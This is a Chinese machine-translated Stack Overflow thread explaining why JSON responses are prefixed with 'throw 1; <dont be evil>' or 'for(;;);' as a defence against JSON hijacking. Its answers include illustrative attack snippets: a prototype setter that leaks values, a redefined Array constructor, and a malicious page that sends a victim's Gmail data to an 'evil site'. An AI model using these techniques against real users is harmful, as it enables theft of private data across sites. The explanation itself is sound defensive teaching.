javascript - 为什么人们把代码如“扔1;<dont be evil>“和”for(;;);“在json响应之前?




ajax security (3)

可能重复:
为什么Google会在(1); 到他们的JSON响应?

Google会像这样返回json:

throw 1; <dont be evil> { foo: bar}

而Facebook的ajax有这样的json:

for(;;); {"error":0,"errorSummary": ""}
  • 他们为什么会放置代码来阻止执行并产生无效的json?
  • 如果它是无效的,他们如何解析它,如果你试图评估它会崩溃?
  • 他们只是从字符串中删除它(看起来很贵)?
  • 这有什么安全优势吗?

作为对安全目的的回应:

如果刮刀位于另一个域中,他们将不得不使用script标签来获取数据,因为XHR不能跨域使用。 即使没有for(;;); 攻击者如何获取数据? 它没有分配给一个变量,所以它不会被垃圾收集,因为没有引用它?

基本上要获得他们必须做的数据跨域

<script src="http://target.com/json.js"></script>

但即使没有前置脚本,攻击者也不能使用任何Json数据,而不将其分配给您可以全局访问的变量(在这些情况下不会)。 崩溃代码有效地不做任何事情,因为即使没有它,他们也必须使用服务器端脚本来在他们的网站上使用数据。


即使没有for(;;); 攻击者如何获取数据?

攻击是基于通过改变其构造函数或其prototype来改变内建类型的行为,特别是ObjectArray 。 然后,当目标JSON使用{...}或构造时,它们将成为攻击者自己的这些对象的版本,并具有潜在的意外行为。

例如,你可以将一个setter属性转换为Object ,这会暴露以对象文字写成的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后,当一个<script>指向某个使用该属性名称的JSON时:

{"x": "hello"}

价值"hello"会被泄漏。

数组和对象文字导致setter被调用的方式是有争议的。 Firefox在3.5版本中删除了该行为,以回应在知名网站上公布的攻击。 然而,在撰写本文时,Safari(4)和Chrome(5)仍然容易受此影响。

所有浏览器现在不允许的另一个攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

而现在,IE8的属性实现(基于ECMAScript第五版标准和Object.defineProperty )目前不适用于Object.prototypeArray.prototype

但是,除了保护过去的浏览器外,JavaScript的扩展可能会在未来导致更多类似的泄漏,在这种情况下,chaff应该可以防止这些漏洞。


如果它是无效的,他们如何解析它,如果你试图评估它会崩溃?

这是一个功能 ,如果您尝试eval它会崩溃。 eval允许任意JavaScript代码,可用于跨站点脚本攻击。

他们只是从字符串中删除它(看起来很贵)?

我想象如此。 可能是这样的:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不要邪恶”的cruft会阻止开发者直接使用eval而不是更安全的选择。


考虑一下,在检查你的GMail帐户后,你会去看看我的恶意页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的事情是,来自Google的Javascript代码 - 提问者认为是良性的,并立即掉到范围之外 - 实际上将会发布到我的恶意站点。 假设脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,Google会正确地认为您已登录到您的收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将发布这个对象的序列化版本给我的邪恶服务器。 谢谢!

防止发生这种情况的方法是重新整理JSON响应,并在您从同一个域中操作数据时将其删除。 如果你喜欢这个答案,请接受由bobince发布的答案。





json